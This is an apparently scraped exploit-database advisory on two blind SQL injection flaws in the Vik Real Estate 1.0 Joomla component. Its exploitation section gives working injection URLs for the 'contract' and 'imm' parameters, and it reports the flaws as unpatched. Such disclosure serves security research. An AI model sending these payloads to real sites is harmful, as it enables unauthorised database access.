Vik Real Estate 1.0 Component Joomla Multiple Blind Sql Injection

vendor:

Vik Real Estate

by:

Chris Russell

8.8

CVSS

HIGH

Blind Sql Injection

CWE

Product Name: Vik Real Estate

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE: Not yet assigned

CPE: a:vik_real_estate:vik_real_estate:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Joomla

2011

Vik Real Estate 1.0 Component Joomla Multiple Blind Sql Injection

Two vulnerabilities have been discovered in Vik Real Estate, joomla component, the 2 vulnerabilities are blind injections (boolean-based time-based blind & blind). The parameters affected are: contract and imm.

Mitigation:

No known mitigation or remediation for this vulnerability

Source

Exploit-DB raw data:

###################################################################
Vik Real Estate 1.0 Component Joomla Multiple Blind Sql Injection
###################################################################

Release Date Bug.          27-Oct-2011
Date Added.                30-Sep-2011
Vendor Notification Date.  Never
Product.                   Vik Real Estate
Platform.                  Joomla
Affected versions.         1.0
Type.                      Commercial
Price.                     69.00
Attack Vector.             Blind Sql Injection
Solution Status.           unpublished
CVE reference.             Not yet assigned
Download                   http://www.extensionsforjoomla.com/vik-real-estate/joomla-extensions/vik-real-estate?vmcchk=1

I. BACKGROUND

Extension to manage real estates with details and description.
Main Functions:
- Manage Types of Contract (rental, selling, etc.)
- Condition of use (commercial, residential, etc.)
- Types of houses (apartment, villa, etc.)
- Manage Features (garden, garage, pool, etc. with icons)
- Manage States/Cities and Areas (New York City, Soho. Florence, Airport etc.)
Add real estates with description and images.
Search module included.

II. DESCRIPTION

Two vulnerabilities have been discovered in Vik Real Estate, joomla component,
the 2 vulnerabilities are blind injections (boolean-based time-based blind & blind)

The parameters affected are:
contract
imm

III. EXPLOITATION


parameter [contract]:

//index.php?option=com_vikrealestate&act=results&contract=1' AND 1=1 AND '666'='666&adibit=1&prov=1&area=_any&pricemin=_any&pricemax=_any&mqmin=0&mqmax=_any&type=_any&gores=Search

parameter [imm]:

//index.php?option=com_vikrealestate&act=show&imm=3' AND 1=1 AND '666'='666



Discovered by.
Chris Russell